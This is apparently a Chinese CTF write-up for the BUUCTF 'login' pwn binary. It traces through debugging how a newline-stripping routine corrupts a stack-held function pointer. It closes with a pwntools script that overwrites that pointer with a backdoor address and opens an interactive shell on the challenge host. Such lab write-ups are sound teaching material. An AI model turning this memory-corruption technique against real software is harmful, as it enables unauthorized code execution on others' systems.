前言
主要是因为太菜了,看了别人的exp,还是懵懵懂懂的,都是静态分析,不明白为会在改密码的时候会导致最后的getshell。今天给它动态分析整一个,看看到底哪里出错了。
基本原理
网上有很多介绍的,在这里说一下个人的理解。
静态分析
在0x4009e2的函数中,当我们输对密码后会调用 **a1()
。从**上看a1是函数地址的地址,通过分析发现a1其实是通过栈来保存的地址
rax的值是从rdi,main中传参过来的
在main函数中我们rax是由0x400A79函数(password_checker1)函数执行后得来的,进入0x400A79函数
rax的值是从0x400A79函数(password_checker1)中rdi赋值
来的
rdi就是main函数中传进来的,在往上看就是0x400AC4(my_user_shell_addr)
函数中返回的rax
0x400AC4(my_user_shell_addr)
rax就是_ZZ4mainENUlvE_4_FUNEv函数的地址0x400AB4
千万记住这个0x400AB4
,后面还有用
通过静态分析我们发现当我们密码输对了以后应该会调用0x400AB4
的函数,如果继续跟的话其实最后调用了User::shell()这个函数输出"No shell for you!"
,但实际执行的时候,却是程序崩溃了。
问题在于a1的值是通过main函数的两次栈值
来保存的,其中第一次的栈值是main子函数的栈值,而main函数执行的过程中又会多次调用其它子函数,万一在其他子函数更改了第一次的栈值,程序就会崩溃了嘛。让我们动态分析一下,世纪的情况
动态分析
我们正常输入admin,2jctf_pa5sw0rd,走一遍。记住这个0x400AB4
,记住这个0x400AB4
,记住这个0x400AB4
参考函数
0x400ac4 my_user_shell_addr
0x400a79 password_checker1
0x4009E2 password_checker2
0x400996 strip_newline
当我们执行完my_user_shell_addr的时候0x400AB4
是不是就出来了
当我们执行完password_checker1函数的时候,我们发现最后a1()函数的a1的值是通过main函数的两次栈值
来保存的0x400AB4
的值还在
当我们在执行User::read_password()函数,rbp=0x7ffc1bff4ad0,而我们第一次的栈的值0x7ffc1bff4ab8,显然0x7ffc1bff4ab8已经被包含进了read_password函数中,如果将栈0x7ffc1bff4ab8的值改成我们想要的执行的地址不就可以完事了
继续在User::read_password()函数中执行,注意0x7ffc1bff4ab8的值还是0x400AB4
,当我们执行完0x400996 (strip_newline)的时候发现0x400AB4
变成0x4000B4
,0x400e88是因为调试的时候还用的是成功的payload为Admin::shell()函数的地址。
下一图为补充的图,栈地址对不上,但是值对的上0x400AB4
变成0x4000B4
问题就出在0x400996(strip_newline)函数上,我们看ida,在strip_newline函数上会传入s的地址就是上read_password的rbp 0x7ffc1bff4ad0-0x50 = 0x7ffc1bff4a80,s的栈地址0x7ffc1bff4a80。
我们第一次的栈的值0x7ffc1bff4ab8,相距0x48,而0x400996(strip_newline)函数会将[s-0x50,s]的值赋值,并将\x0a
换成\x00
也就解释了0x400AB4
为什么会变成0x4000B4
的原因,而s刚好是我们输入的password,一切就解释通了。
最后构造exp
exp
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./login")
#
if len(sys.argv)>1:
p = remote("node4.buuoj.cn","25684")
#libc = ELF("./libc-2.23.so_32")
else:
p = process("./login")
#p = remote("172.17.0.2",8888)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
#p = gdb.debug(['/home/iris/work/pwn/buuctf/ubuntu16/lib/x86_64-linux-gnu/ld-2.23.so', './0ctfbabyheap'], env={'LD_PRELOAD': './libc-2.23.so'})
"""
0x400ac4 my_user_shell_addr
0x400a79 password_checker1
0x4009E2 password_checker2
rax <-0x7fffffffdcd8
0x7ffe678cf100 —▸ 0x7ffe678cf0c8 —▸ 0x400ab4 (main::{lambda()#1}::_FUN()) ◂— push rbp
"""
context.log_level="debug"
def debug():
if len(sys.argv)<=1:
gdb.attach(p,"b printf")
debug()
back_door = 0x400E88
payload = b"2jctf_pa5sw0rd\x00".ljust(0x48,b"\x00")+p32(back_door)#
# 补充的“\x00”是因为后续的snprintf,格式化输出会覆盖掉最后执行的地址
p.sendlineafter(":","admin")
p.sendlineafter(":",payload)
p.interactive()
手敲不易,点个赞支持一下呗,感谢